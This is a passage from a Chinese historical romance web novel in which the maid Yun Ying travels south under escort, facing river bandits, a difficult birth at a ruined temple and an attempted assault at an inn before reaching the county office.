先说从津南到杭城这一段路,因为这段路上有运河,他们便准备走水路。 如今正值夏季,东南风盛行,乘船南下船只逆风行驶,速度较其余季节会慢上许多。但不管怎么说,速度总比走陆路快一些。且在客船上活动空间大,起窝也方便,对女眷来说尤其友好。尽管花费颇大,可考虑过种种,国公府还是决定让他们乘船过去。 马车走了一整天,才到了津南渡口。 早有安排好的船只在渡口等着。 船只是小型客船,船舱上人员简单,除了一些船工,再就是云莺这一行人。 他们这一行人颇多。 有她们几个准备送与二爷的女眷,还有丁姑姑及两个厨娘、五个伺候丫鬟、一名老大夫,侯府的二管家,另外就是看起来很有威慑力的、三十个人高马大的侍卫。 安排这么多侍卫随行,是因为岭南府一带山匪颇多。没有强有力的武力震慑,怕是他们走到半路人就消失无踪了。 不说这些远的,只说在客船上安顿下来后,天色早就黑透了。 众人用过晚膳,简单用水擦洗过,便都歇下。 云莺的舱房里住着她,以及一个打地铺的小丫鬟。 小丫鬟心很大,躺在地上就睡着了。也可能是因为今天坐了一天马车太过疲累,小丫鬟还发出了细小的呼噜声。 云莺却睡不着。 她动作轻巧的起身,轻轻地推开窗户。 今晚的月亮很是皎洁,在半空中洒下万道银辉,陪着下边河水哗哗流动的声音,万物都显得那么静谧安然。 云莺看着看着,渐渐出神起来。 她也不知道自己都想了些什么,等终于有了困意,已经到了二更天,云莺这才趿拉着鞋子,打了个哈欠,走到床边继续睡去了。 乘船的过程非常枯燥。 丁姑姑规矩严苛,也是担心她们几个貌美的姑娘耐不住寂寞,与那些年轻气盛的侍卫们有个纠缠,再闹出什么丑事来。所以白天大多数时间,要么把她们召集在一处做针线,要么就让她们老实的呆在自己房间中不要出来。 这些安排云莺都服从的很好,可与她的无条件配合相反的是,她的心思却愈发重了。 丁姑姑处事这么缜密,她想逃跑真能跑得了么? 况且还有路引,还有身契…… 云莺渐渐开始失眠。 她不知道若真的被送到一个陌生男人的身边,做了他的通房——不,甚至不是通房,她们连名分也没有,只是一个伺候人的丫鬟。 当然,位份不是问题,如今最大的问题就是,她说不定要和几个女人一道伺候一个男人。 这太令人窒息了。 尽管还在庄子上时,她就有了这样的准备。甚至觉得,只要能逃出庄子,暂时保住小命,即便这样也无妨。可事情真到了这一步,她又避如蛇蝎,无论如何也无法劝服自己跨出这一步。 她没有走到绝境,她内心还有坚守,她不能接受那样的自己。所以,还是得逃…… 南下的路上,云莺养成了一个坐在舷窗旁听流水声的习惯。 这几天天气没有之前那么炽热,河面上时有徐徐清风吹拂过来。运河中的水流非常平缓,伴着这潺潺的水流声,晒着傍晚的夕阳,也只有在这个时间,云莺才能小睡片刻。 这一日,客船行驶半晌,准备在前面的码头靠岸。 云莺心跳快了一拍,秋宁与木槿的眼睛也亮了亮。 客船上太无聊了,每日不是绣花就是呆在房间里,她们都被闷坏了,早就想出去透透气了,哪怕只在码头上转一圈也好。 可丁姑姑却摇着头拒绝,“码头上人员繁杂,姑娘们貌美,不好到人堆里去。” 丁姑姑又给他们讲了一个故事。 那是十几年前发生在元宵节当天的事儿了。 说是和小冯氏年纪相仿的一个姑娘,元宵那夜被拐子带走了。幸得衙役全力追查,几日后竟也将人找了回来。 可那姑娘回来后也无人敢娶她,父兄更是顾忌着家中的门风,以及担心她耽搁了家中姊妹与侄女的婚事,不得不将她送到寺庙中。听说那姑娘一开始还盼着父母接她回家,后来许是觉得没盼头了,竟直接在寺庙中自缢了。 丁姑姑说起这事儿时,面上神情很是唏嘘,双眸中还泛着真切的感伤。可见这事儿是真的发生过的,指不定那姑娘还和她们有旧。 几个姑娘都被唬住了,也就不提下船散散心的事情了。 客船在码头处停了约有一个时辰,便继续前行。 等启程后,丁姑姑给每位姑娘都送来了一些时令的鲜果,两支精美的珠花,一些胭脂水粉,以及一匹时兴的料子。 这些都是方才采买上来的东西。 鲜果留给她们解馋,珠花与胭脂水粉让她们好生打扮自己,想想到了岭南,该以那副面貌出现在二爷面前;至于时兴的料子,却是让她们拿来做衣裳的——就是给她们找些事儿做,省的她们无聊,一天天的净想些有的没的。 果然,有了这些东西,几位姑娘都安分下来,再也没有抱怨无聊无趣。 客船又往前行了几日,天色渐渐阴沉起来。开船的老者过来寻管事的丁姑姑与王管家,说是空气中水汽重了许多,前头应该会有暴雨,如今是往岸边靠过去避避风雨,还是继续往前走? 丁姑姑素来是不管这些事情的,沿路的行程都由王管家负责。 王管家早年是国公爷的亲随,只是在战场上伤了一只胳膊,这才退下来在府里做了二管家。 王管家行事老道,让老者先行靠岸。 他出发前已经寻人打探过这段运河,知晓这片河段底下多暗礁。 暴雨加上暗礁,一不小心就能要人命。为稳妥起见,还是等风雨过后再启程。 显然抱着这样想法的不止一个人,随着他们的客船靠岸,之后又有不少商船、客船,也都汇聚过来。 临近傍晚,天边压下黑沉沉的乌云,给人一种世界末日的既视感。忽而几道闪电咔嚓咔嚓响在半空,继而斗大的雨珠噼里啪啦打落下来。 天幕像是被谁捅了个大窟窿似的,雨水哗啦啦下了足有一个时辰也未停。 到了歇息时间,王管家特意来寻丁姑姑,让她今晚睡觉警醒着些。 丁姑姑闻言,神情立刻变得郑重。她没有多问什么,只是在王管家离去后,又起身穿好衣裳,将四个姑娘居住的舱房一一走了一遍。 云莺这些时日本就睡眠不佳,听了丁姑姑提醒她们“睡觉警醒,听到了什么动静也不要贸然闯出门,先找个地方藏起来”的话,直觉告诉她,大事儿不妙,他们不会遇上水匪了吧? 抱着这种想法,云莺更不安了,躺在床上翻来覆去睡不着。 屋内的小丫鬟往日心大,今天也瑟瑟发抖的抱着自己,颤着声音问云莺,“姑娘,我们会没事儿的吧?” “肯定会没事儿,我们出来时带了三十个侍卫,个个都是好手,即便有人打杀过来,我们也不会有事儿。” 小丫鬟颤颤巍巍的应了一声“哦”。 云莺见她抖如筛糠,小小的脸上露出大大的恐惧,整个人可怜的厉害。 她就掀开被褥,喊了她一声,让她到床上来。 小丫鬟当真害怕极了,此时也顾不得规矩了,赶紧跑上床,和云莺并排躺在一起。 许是安了心,片刻后小丫头竟然睡着了。云莺受她感染,竟也昏昏欲睡起来。 013 心思动摇 也就在她快要睡熟之极,外边响起犀利的尖叫声,“啊,杀人了。”“有水匪,水匪!”“快逃命啊。” 云莺立即惊醒过来,小丫头也是,一个翻身竟是直接从床上掉下来。 “姑娘,姑娘有水匪来了。”小丫头慌不择路,“藏在哪里,我们藏在哪里?” 小丫头跟无头的苍蝇似的,挪挪凳子,搬搬桌子,跑到门口,打开柜子……最后她直接藏到柜子里。 可柜子太小了,她钻进去后柜子门就被挤开了,小丫鬟又伸手去拉门…… 云莺趿拉着鞋子过来,“你藏好了,我把柜门从外边锁上。你不要出声,也不要闹出声响。” 小丫鬟“唉唉”应好,云莺拿起锁头,咔嚓一声锁好柜门。 也正在此时,哐当一声巨响响起。 柜子里的小丫鬟发出一道害怕的尖叫声,“姑娘,姑娘怎么了?” 云莺拍着胸口,安抚自己快要从嘴巴里蹦出的心脏,惊魂甫定的说:“没,没什么,风太大了,把门刮开了。” 说着话,她快步走上前,想将房门拴上。 可没忍住好奇往外看了一眼,就见外边众人已经杀红了眼。 水匪们胆大妄为,甚至为照明直接泼油点燃了一艘客船。 火光大起,灯火通明,这一边的天空都被照亮了。 云莺也清楚的看见,有不少人被杀死落了水,还有不少人正在浴血奋战。 云莺心肝都抖了抖,赶紧拴上房门又回了船舱。 刚才有一瞬间,她是想要跳水逃了的。 毕竟今夜死的人太多,想来即便最后寻不到她,众人也只会以为她死在水匪手里了。 可即便她侥幸没淹死在水里,也没死在埋伏在水里的水匪手里,这样的天气,她若是得了风寒烧热,那也是会要了她这条小命。 斟酌来斟酌去,云莺最终还是没敢去跳窗。 也幸好她没跳窗,因为不过片刻功夫,这场杀戮就终止了。 原来不止他们这条船上带了诸多好手,他们身后不远处一艘不起眼的小船上,竟也有着四五十名押送着贵重物品的镖师。 水匪们人数不过百,又都是乌合之众,这次踢到了铁板,被砍杀了不少,剩余的人见势头不对,赶紧跳河逃走了。 事后清理战场,查点人员,她们这艘船上只有两个侍卫受了轻伤,其余俱都好好的。 云莺闻言心中不由默念了一句:好险! 好在她怕死,呆在船上没敢跳窗。不然即便不被跳河逃跑的水匪捅个对穿,稍后也会被王管家他们寻到押回去让主子发落。 经过此事,云莺更沉默了,逃跑的心思,也在这一次的事件中,变得不坚定起来。 又五日,众人经过多日奔波,终于到达了杭城。 这是运河的终点,众人在这边下船,在城中的一家客栈落脚。 歇息一天后,众人再次启程。 这次依旧是乘船,不过只过了两日,便换船乘车,开始走陆路。 南方多山地,即便是修的平坦的官道,也坎坷难行。 加上这边才下过一场大雨,道路湿滑泥泞,众人毫无意外的错过了宿头。 出去探路的侍卫,查看到就在三里外有一处道观,众人才提起精神,摸黑赶到道观落脚。 来到跟前才发现,那道观早就破败了。屋顶上都是窟窿,门框也不知道跑到哪里去。里面的道士没了踪影,倒是蛇鼠虫蚁有不少。屋子里还散发出一股浓浓的霉味儿……总归埋汰极了。 但也没办法,只能收拾收拾,凑合这一晚上。 云莺也跟着小丫鬟一起收拾今晚住的地方,才收拾出个模样来,就见外边有个侍卫满头大汗的跑过来寻丁姑姑。 丁姑姑才一露面,那侍卫就道:“您快去看看吧,后院柴棚里有个妇人在生孩子,难,难产。” 云莺几人闻言俱都愣住了,就连丁姑姑,似乎也愣了好大一会儿。 但反应过来侍卫的意思,丁姑姑也抓麻了,她没生过孩子啊。 “找孙大夫,快去找孙大夫。” 侍卫火急火燎往外跑。 丁姑姑也紧跟着跑出去,云莺几人好奇极了,也想跟过去凑热闹,但她们是未婚的姑娘家,那好往跟前凑。 还是照顾丁姑姑的小丫鬟机灵,一边往外跑一边说,“我去灶房拎点热水给送去。” 照顾几位姑娘的小丫鬟们闻言也很意动,但是孕妇难产可不仅仅是血腥那么简单。她们没见过,但也知道其中的凶险,就不敢往跟前凑了。 因为有这件事吊着心,几位姑娘都心不在焉的,连晚饭太过粗糙都没人说什么。 到了入睡时间,丁姑姑终于一身血腥从外边回来了。 云莺几人赶紧跑出去,迫不及待问丁姑姑,“怎么样,生了么?”“母子皆安么?”“这么荒僻的地方,怎么会有妇人在这生孩子?这里还有别人借宿么?” 丁姑姑累的不轻,坐在凳子上喝茶喘气。 等喝过茶,丁姑姑又想去洗漱换衣。可看着几个姑娘都这么眼巴巴的盯着她看,想来不得到个满意答复,她们今晚也睡不安生。 丁姑姑就开口说:“孙大夫出手,自然没有救不活的。那产妇命好,得孙大夫援手,成功诞下一个儿子,母子皆安。” 又唏嘘的说:“不是借宿在这里的过客,是长居在这里的一位妇人。” 又仔细将那妇人的情况说了说。 原来那妇人不知怎的突然出现这荒郊野外,她浑浑噩噩的,问她什么都说不清楚。幸得她如今的相公收留,这妇人才有了落脚之地,两人也因此做了夫妻。 当然,这是那妇人的相公给出的说辞。 可要丁姑姑说,那个姑娘家会乐意跟着那样一个男人? 那男人貌丑而粗鄙,年龄都足以当那妇人的祖父了。那妇人虽然精神看着不正常,但容貌却不差。 丁姑姑有个不好的猜测,她觉得那妇人出现在这荒野之地不是意外。 要么是那男人觊觎妇人的美色,特意将人偷了来,将她藏在这里;要么就是妇人被人所害,为人遗弃,那男人趁人之危,强逼她做妻。 不管是那个猜想,男人都不算无辜。那妇人的精神失常,指定也与他有脱不了的干系。因为那妇人一听到男人的说话声,就会瑟缩发抖,而那妇人身上,更是有着大大小小或旧或新的疤痕…… 丁姑姑的话犹如当头一棒,打的云莺几人头晕眼花。 几人对丁姑姑的猜测是深信不疑的,只是越是如此,才越是让她们胆寒。 良久后,云莺才开口问说:“姑姑,咱们能救她么?” 丁姑姑看了眼云莺。 她很纳罕云莺会问出这样的问题。在她看来,云莺这姑娘心思单纯,可心思也重的很。 她很沉默,可她的沉默和瑞珠的沉默明显不一样。 瑞珠的沉默是因为当奴才习惯了,已经明白了言多必失的道理。她的沉默,更像是一种消极的抵抗,她像是游离在现实之外,一直不想深入的了解这个世道。 她对这姑娘的感觉有些复杂,既因为她的心思单纯而欢喜,又因为看不透她的心思对她多了几分防备。 再加上云莺无欲无求,对什么都看的淡淡的。不管是果子、珠花、胭脂水粉还是布匹,给她的她就要,从不挑挑拣拣,也不额外索取,真就是,完全让你摸不到她的喜好,搞不明白她真正在意的究竟是什么。 如此单纯又复杂的一个姑娘,和船上所有人的交流都仅限于一个点头,而如今,她竟开口替她女子求情? 丁姑姑看了云莺良久,可云莺依旧直勾勾的看着她,眸光没有丝毫回避,这意思赫然就是:您没有听错,那句话就是她问的。 丁姑姑心头一软,开口说:“我倒是也想带她走,但是不成。” 不等云莺询问原因,丁姑姑道:“一来,那女子与那男子是‘正经’的夫妻,两人还有婚书;二来,那女子不认得别人,却将她刚出生的孩儿看的跟眼珠子似的。” 而那男子,都要当人祖父的年纪才有了子嗣,想也知道绝不会让任何人抱走他的孩子。 孩子带不走,那女子就不可能跟着他们走。 014 防不胜防 这一晚上,天气特别闷热,蚊虫也特别多。 尽管睡前他们已经在房前屋后烧了不少艾草,可丝毫没用,蚊虫依旧在耳边嗡嗡作响,扰人清梦。 云莺翻来覆去直到后半夜才睡着,翌日一早听见外边的脚步声,又立即苏醒。 山间的夜晚很清凉,即便如今正是酷暑,晚上睡觉时也要盖上薄被,早起起身时,更是要多穿一件夹衣。 随着日头越来越高,夹衣就穿不住了,甚至只穿一身夏日的薄薄衫裙,都让人控制不住汗流浃背。 坐在马车中,不知道是心浮气躁的原因,还是天气实在闷的厉害得原因,云莺的汗一直往外渗,头发都快湿透了。 小丫鬟见状赶紧拿了帕子在清水盆里洗了洗,递给云莺让她擦擦汗。云莺摆摆手没要,只不紧不慢的拿起旁边的团扇扇起来,笑着说:“我用扇子扇扇就好了”。 同一辆车中坐着的秋宁闻言,也擦了擦脖颈的汗珠,“这天实在闷的厉害,不会下雨吧?” “说不准。” 两人正说着话,就听见外边王管家喊着“加速”。 再一会儿,外边响起噼里啪啦的声音,雨水落了下来。 好在这次只是小雨,穿上蓑衣并不耽搁前行。 马蹄的踏踏声接连传到耳中,树叶被打的哗哗作响,清凉的雨水洗去了空气中的暑热,终于给人带来一丝清凉。 云莺感觉到凉意,正想掀开车窗帘看看外边的景色,结果就猛地听到一支利箭破空的声音。她还以为自己听错了,随后竟又听到一道尖利的惨叫。 秋宁显然也听见了,瞬间白了脸,她一把抓住云莺的胳膊问:“怎么了?不会是遇见山匪了吧?” 从杭城到岭南府这一段路上,山头林立,山匪也是一窝一窝的。 为确保安全,在杭城时王管家就特意让人购买了几百支精铁打造的箭矢,且每经过一个地方,都要再添置一些。 如今侍卫们人手一柄利剑,肩上还背着箭囊,若是遇到一般麻烦,应该可以轻松解决? 想是这么想,可云莺的心不可抑制的提的高高的。 毕竟山匪残忍,对男人能杀则杀,对女人虽手下留情,但落到他们手上的女眷,活着还不如死了。 云莺和秋宁脸色都变了,小丫鬟们更是惊慌的抱在了一起。 马车的行进速度更快了,时而踉跄几下,好像碾到了山石上要侧翻,这让人愈发惊恐,也好在最后关头马车都稳住了,她们身上虽然被撞出来青紫,好在性命无忧。 马车足足跑了一个时辰,速度才渐渐慢下来。 这时候天色昏沉,可周围不但没有安静下来,反倒多了几分嘈杂。 云莺耐不住好奇,掀开车窗帘往外一看。结果就见不远处高大威武的城墙上,赫然写着两个漆黑凌厉的大字——锦州! 城墙下的城门还开着,不时有百姓挑着胆子从里边走出,还有些做工或走亲访友的男女老少,赶着出城回家。 怎么就到锦州了? 云莺拧着眉头,秋宁看她神色不对,也凑过来看,随后惊喜的“呀”了一声,“今晚在锦州落脚啊。” 云莺点点头,“应该是。” 不是应该,是肯定。 就这么一会儿功夫,王管家已经走到了城门将跟前,主动将一叠东西递了过去。 那是一行人的户籍文书和路引。 可能是王管家自带贵气,也可能是将到换防时间,天上又下着淅淅沥沥的小雨。城门将略看过便放行,一行人顺利到达城中最好的客栈,暂时落脚下来。 夜里雨水变大,云莺半睡半醒中想着,若是这雨下到明天,她们应该会在城中暂留一日。 第二天醒来,云莺还没睁开眼,就先听到了悦耳清透的雨落声。 下了一夜的雨,到现在还未停,那今天肯定就走不了了。 果然,稍后丁姑姑就过来说,“先住一天看看情况。” 客栈的掌柜说,这边已经断断续续下了将近十天的雨。雨水或大或小,大时暴雨如注,城内积水成涝,小时就如今天这般,淅淅沥沥的没完没了。 丁姑姑:“今天天气凉爽,你们好好歇一歇。等再启程,就又要受罪了。” 云莺应了是,老老实实呆在房间中不出门。 可她都这么老实了,竟也差点遭了难。 原因说来可笑,小丫鬟给她送午膳时,房门打开了一瞬。就这一瞬间,恰好被从门前经过的一位公子看了个正着。 那公子不是什么正经人,对云莺见色起意。晚上趁众人熄灯睡下,竟燃了迷香塞进来,随后打开房门想偷香窃玉。 好在这一层除了云莺等几个女眷,还安排了诸多守夜的侍卫。 侍卫们耳聪目明,一直提防着会出意外,云莺这边的房门被打开的第一时间,他们就直接冲了过来。 那公子被人摁住了也不怕,反倒是嚣张的叫着,“我是知州大人的小舅子,你们敢得罪我,回头让你们吃不了兜着走。” 云莺此时已经被吵醒了,尽管头晕的厉害,她也在丁姑姑的照应下,快速穿戴整齐。 从丁姑姑口中理清了到底是怎么一回事,云莺头疼的捂住了额头。 她是想离了荣国公府这一行人,不去给陈宴洲当通房丫鬟的。可在没有更好的出路之前,她还是想跟着这一行人的,就因为人身安全上更有保障。 可就在这种严防死守下,还有人偷摸进来,这可真是,防不胜防。 那公子长得人模狗样,穿的也是贵气凌人,眼神却浑浊不堪,身材也瘦弱的麻杆似的,让人打眼一瞧就知道被酒色掏空了身子。 云莺正在心里默念“晦气”,客栈的掌柜和小二闻声忙不迭跑进来。 等看清楚眼前这境况,掌柜的身子一踉跄,差点表演个平地摔。 “哎呦良少爷,您这是怎么了?客官快快放手,这位良少爷不是外人,是咱们锦州知州的小舅子。” 说是小舅子,其实就是一个妾室的亲兄长。可耐不住那妾室能耐,在知州大人跟前是头一份。 知州夫人又是个菩萨脾气,对她的种种行为都睁一只眼闭一只眼。这对兄妹仗着知州的势,在锦州简直无法无天。 他们深受其害,早就盼着他遭报应,可这“报应”绝对不能发生在自个儿地盘上,不然回头他们也得被扒一层皮。 掌柜的作揖求饶,好话说尽。 良少爷见掌柜和小二都来了,他自己的一个小厮也跑过来救主,另一个趁人不备去搬救兵,良少爷的气焰顿时更嚣张了。 他指着内室的云莺说:“看在那小娘子的面上,今天的事情我可以既往不咎。前提是你们把那小娘子送我。不止是她,你们这次还带了其余几个貌美的姑娘,也都给我。”还哼哼,“总归都是送人的玩意儿,给别人是给,给我也是给。给了小爷,最起码我能保证你们在锦州城安安稳稳的,否则么……” 王管家却懒得与他说些什么,只冷冷的看了眼嚣张跋扈的良少爷,随即招手唤来侍卫,从袖笼中掏出一份帖子模样的物什交给他,又额外交代了侍卫几句,那侍卫便拿着东西快步下了楼。 这情况……不对劲啊。 吴良心中惴惴,直觉告诉他,这次是踢到铁板了,一时间贴着地面的脸颊白了几分。 吴良能在这锦州城横着走,那是有几分本事的。他见人说人话,见鬼说鬼话,能屈能伸…… 眼见这伙人怕是有大后台,吴良顿时就想求饶,好把这事儿圆过来。可围观过来的人越来越多,他就有些拉不下脸面了。只能若无其事的装大度、打商量说:“你们先放开我,要我说,大家能在这一处客栈落脚就是缘分,我也不是那得理不饶人的,你们给我赔个不是,这事儿咱们就过去了。” 围观的客人中有认出这位良公子的,嗤笑着调侃说:“这么轻易就要饶人性命,这可不像是良公子能干出来的事儿。” “对啊。他们得罪了良公子,这次不把那几个姑娘都赔给公子,再给公子磕几个响头,这事儿想过去,没门!” 吴良头上的冷汗都下来了,他真想捂住那些看热闹不嫌事儿大的客商的嘴。无奈那些客商在本地也是有姻亲靠山的,他虽然得罪的起他们,但平白无故招惹这么多仇家,再被人告到姐夫哪里,回头他吃不了兜着走。 正在吴良想七想八的时候,王管家已经示意侍卫们将他压到旁边包厢去。 事情闹大了对吴良不好,可他们也不好太得罪那位锦城知州。都说县官不如现管,该给他的颜面还是要给。 015 赶路 魏知州来的很快。 他进门就狠狠地踹了吴良一脚,吴良原本还以为是靠山来了,正想喊冤叫屈,不想魏知州一脚猛踹到他胸口。 吴良疼得脸色煞白,却精明的没喊疼,只一个劲儿的赔不是,“姐夫我知道错了,是我一时头晕办了错事,姐夫你打死我吧,我给你和姐姐丢脸了。” 他特意提起“姐姐”,却没换回魏知州心软。魏知州不解恨的再次踹他两脚,“你个不知天高地厚的小畜生,一天到晚在外边惹事。我是你哪门子姐夫?一个妾室通房的兄弟,也敢称呼本官姐夫。来人啊,把他拉下去先打三十大板。” 围观客商们抱着看好戏的心态,都在厢房外看热闹。原本看到魏知州过来,他们心里还叫了声“不好”,觉得王管家一行人这次怕是要糟。谁料事情突然就反转了,魏知州不仅没给这内弟撑腰,竟是狠狠地把他发落了。 三十大板打下去,吴良这命怕是都得丢半条。 那么问题来了,能让魏知州如此气急败坏,被吴良得罪的这一行人到底是什么来头? 众人侧着耳朵用心听,可再听不见声响了。 加上魏知州带来的手下开始赶人,众人再是不想离开,也只能遗憾的回了自己房间。 说回厢房内,魏知州如何与王管家套近乎,想将这事儿抹过去不提。 只说云莺坐在自己房间内,将隔壁的动静听得一清二楚。 她一时间心潮涌动,整个人更加沉默。 雨水淅淅沥沥,一下就是两天,云莺一行人也就在客栈中住了两天。 好不容易天放晴了,众人打点行李准备出发,结果前方又传来山体滑坡的消息。 将近半月的雨水,终于造成次生灾害,前方的道路都被堵住了,众人要么绕行五十里从别的路段过,要么就等两天,等这边道路疏通,再继续前行。 王管家决定继续等。 云莺几人也终于被放了出来。 盖因为前两天良公子闹了那一出,自己没占到便宜不说,事后甚至牵连了他那一母同胞的姐姐,也被从知州府里撵了出来。 锦州城的百姓自此知道,这客栈中住了几位连知州都得罪不起的贵人。别说客栈的东家与掌柜们愈发恭敬了两分,就连那些打尖住店的客商们,也都变得安分。 这时候的锦州治安也好了些,丁姑姑就问王管家可否带姑娘们到街上散一散,王管家想到那几个姑娘如花似玉的模样,担心她们再招惹是非,果断拒绝了这个要求。 丁姑姑没办法,只能又去街上捡了些好吃的好玩的,特邀姑娘们下午时去她房间坐一坐。 云莺几人在丁姑姑房中消磨了一下午时间,又一道用了晚膳才回房。 到了翌日,还没等云莺想好这一日做些什么好,秋宁已经拿着针线过来寻她。 秋宁见云莺百无聊赖的翻着本闲书,开口说:“你也做些正经事,别整天翻着这些没用的书,咱们又不能考状元。” 云莺:“那让我做什么?和你一样做针线么?我女工学的不好,你又不是不知道。” “学的不好有什么要紧,你多少做一样啊,好歹这是咱们的心意。”秋宁偷偷和她透漏,“我听小丫鬟说,瑞珠可勤快了,已经给二爷做好整套的衣衫。木槿也不差,她有一手做鞋的手艺,听说给二爷的鞋子都做了好几双。我的绣艺只是平平,不过针线还算整齐,我就给二爷做几个荷包吧。” 云莺看了看秋宁手中莲青色的荷包,上边绣着青山绿水、白鹤展翅,先不说荷包的手艺如何,只那意境,却悠远超脱,连她看着也很喜欢。 可这是送给那位二爷的…… 为了讨那位二爷欢心,其余三人都铆足了劲准别衣衫鞋袜,想要那位二爷多怜悯几分。 只有她,懒懒散散,到今天才知道还有这么回事儿。 下午时,云莺也不看闲书了,和伺候她的小丫鬟学打络子。 丁姑姑中间过来一趟,看她忙得热火朝天,终于露出个孺子可教的眼神,和云莺说话都轻柔了几分。 两天时间转瞬即逝,很快到了继续出发的时间。 出发之前,王管家隐晦提醒众人,接下来的路段更不好走,吃用上也要苦一些,让几位姑娘做好心理准备。 心理准备是做好了,但云莺真没想过,路上会这么苦。 越往南,道路越坎坷,而且蛇鼠虫蚁和豺狼虎豹越来越多。 她们坐在马车上连窗户都不敢开,每每听见那些猎食者的声音,都心惊胆战的恨不能抱作一团。 一天下来,众人的衣衫都湿透了。甚至几个姑娘和小丫鬟,因为受不住这种惊惧、劳顿、暑热,直接起了高烧。 云莺也高烧不退,才将养好的身子再次变得虚弱。 病重的人太多,导致无法前行,一行人只能再次找了个地方落脚。 也好在随行的老大夫带足了各种药草与药丸,本身也是个医术高明的。如此几天过去,众人的身体都好的差不多,这才再次启程。 傍晚时,众人终于赶到了驿站。 驿站简陋的很,里边只有驿丞与一个充当跑腿的小二,再就是一个厨娘。 这还是一家三口。 王管家让做些好菜端上来,可这边太荒僻了,说句深山老林都不为过,好菜根本没有,有的也只是存放了几年的老腊肉,再就是雨后捡来的菌菇。 用菌菇做了一道汤,再加上王管家事先准备的一些菜干和肉干,众人勉强吃了一顿还算可口的饭。 这之后,饭菜更简单了,有时候为赶宿头,中午来不及做饭,她们就啃干粮。 而随着越发越发靠近岭南府,他们有钱也花不出去了。 这边的百姓实在太穷了,每人都瘦巴巴的,一脸苦相,脊背也是躬着的。 他们穿着的衣衫也很破败,补丁摞着补丁,浆洗的早就看不出原来的颜色。 即便到了县城,到处也都是灰扑扑的。百姓们面上的表情更是穷苦又惊慌。尤其是看到他们的马车经过,他们俱都诚惶诚恐的避的远远的,有的甚至会跪下磕头,喊一句“大老爷,草民不是故意冲撞您的。” 真就是,没来过岭南之前,只听说这边穷苦,可真到了这里,见到了这一幕幕,才知道用“触目惊心”四个字来形容,都犹嫌不足。 瑞珠几人显然被这情况弄的心中惶惶,她们终于忍不住在用晚膳时,开口问丁姑姑,“岭南府会比这边更穷困么?” 答案是肯定的,她们心中也有数,可她们实在怕极了,就想从丁姑姑口中听到一个否定的答案。 丁姑姑看着姑娘们惶惑的面容,轻叹一口气,“好不好,穷不穷又有什么关系。都走到这一步了,没有回头路了。” 瑞珠几人垂下了脑袋,面上露出悲戚的神色。云莺知道,这三个不知抱着何种心思南下的姑娘,此时心中悔极了。 这边确实太贫苦了,连桌像样的席面都置办不齐。就连最好的酒楼中,最好的宴席,也不过是侯府中小丫鬟们庆生的席面罢了。这让一直生活在富贵窝里,从来没受过一点苦难的姑娘们如何忍得住? 几个姑娘更安静了,每天出神的望着天空,连针线都不做了。 也就在这种沉默中,一行人终于进了岭南府。 这还不是这一段路的终点,他们还要继续往南走。 因为侯府的二爷虽然在岭南府任职,但并不在岭南府的府城,而是在岭南府下辖阜南州的云归县做县令。 先说进入岭南府府城时,还发生了一段小插曲。 一男一女两个年轻人在进城时,被守城将检查身份文书和路引。 他们的身份文书没问题,但路引明显有问题。 两个年轻人涨红了脸,一再辩解求情,还想给守城将塞银子,可最后也被守城的士兵押了下去。 有路人见状就说:“岭南府虽穷,知府大人却有作为。这些士兵也算尽责,并不敢敷衍了事。” “可就是太穷了,太穷了……” 016 二爷 岭南府的知府大人,似乎真是个有作为的官员。 云莺一行人进了岭南府后,虽然深切的感受到这边比之前经过的几个州府更加穷困,但治安上,这边确实更好一些,最起码不会隔个三里五里,就跳出来一波喊打喊杀的山匪。 又行了两日,众人到达阜南州。 在这边的客栈落脚时,王管家寻到丁姑姑。 王管家一脸愁容:“早在出京前,夫人就将送人的消息,派人给二爷送来。进了岭南府后,我又特意让侍卫给二爷送了信。” 可二爷至今没回信,更没派人来接,想来不会轻易接收家中送来的这几个姑娘。 丁姑姑听明白了王管家的未尽之意,也发愁起来。她说,“许是二爷有别的要事,没顾得上咱们?” 王管家:“但愿如此。” 这只是往好了想,可事实上两人都清楚,二爷怕是不高兴他们过来。 依照二爷的精明,想来很容易就想到,送人的主意,是二夫人出的。更甚者送来的这几个人,也是二夫人挑选好的。 二爷和二夫人关系闹得僵,寻日里见了面连话都不说,二爷会高兴的接了这几个姑娘,那才是见鬼了。 丁姑姑愁的不要不要的,“如今也只能走一步看一步了。” 翌日再出发,丁姑姑面上的神色就没了早先的轻松。 秋宁见状还和云莺嘀咕:“不知道又出什么事儿了。” 云莺心里有所猜测,却不敢说出来。 不过若真如她所想,那对她来说倒是一件好事儿。 马车又行了三日,终于在这一天夜幕降临时,众人到了云归县。 等一行人走到县衙门口时,天色已经黑沉了。 王管家派人过去传话,很快从县衙里阔步走出来一个模样周正、看着却有些冷肃的侍卫。 那侍卫冲王管家拱了拱手,说:“主子去查探各村落的情况了,已经出去了五日,至今还没回来。” 说着话看了看从马车上下来的丁姑姑,问丁姑姑行了个礼,这才带着众人去县衙安置。 县衙不大不小,院子有三进,看着也宽敞,可就是破败的很。 说实话,还还比不上京城普通的民居。 若不是她们知情,谁又能想到这样的地方,竟然是县里的县衙? 不仅破败,这县衙边边角角还都是杂草。树木花卉也都长疯了,到处都是枝枝蔓蔓。灯笼一照,那些枝蔓映出张牙舞爪的影子来,跟来索魂的恶鬼似的。 瑞珠几人差点被吓破胆,几人挤挤挨挨成一团,脚步迈的特别快,好似生恐从哪个角落跳出一个恶鬼,把她们抓走吃了一样。 厢房倒是整洁,可却狭小的很,墙皮也剥落上,墙上还有些黑黑的霉点子…… 若是往常,见了这样的厢房众位姑娘指点要挑剔一番,可这是那位二爷的地界,即便再埋汰,又岂有她们放肆挑拣的余地? 好在小归小,埋汰归埋汰,总归走到这里,就算到目的地了。 长达一个多月的奔波到此划上一个句号,诸位姑娘心定了,这晚上倒是睡了一个好觉。 翌日众人都起迟了,丁姑姑念着这一路上诸位姑娘的不容易,倒也没说什么,反倒特意叮嘱几个小丫鬟,让别吵着她们。 云莺结结实实睡了一个好觉,等用过早膳走出房间,却见院子里整齐干净,树木的枝干也都被修剪过了,哪里还有昨晚的野蛮荒寥。 小丫鬟看出云莺的疑惑,就解惑说:“王管家一大早就让人把院子收拾齐整了。前院是几个侍卫整理的,后院特意聘请了附近住的几位妇人。” 那些人手脚麻利的很,也或许是做惯粗活了,都没惊动几位姑娘,就将院子都整理好了,看的丁姑姑心里动摇,想将她们聘到县衙做粗使婆子。 小丫鬟和云莺绕着后院走了一圈,秋宁几人见状也都从屋里走了出来。 几个姑娘坐在树荫下聊天,倒是难得的惬意舒爽。 这时候丁姑姑从外边过来了,她笑着说:“怎么都在这儿坐着?快回屋吧,这边太阳大,再把你们晒黑了。” 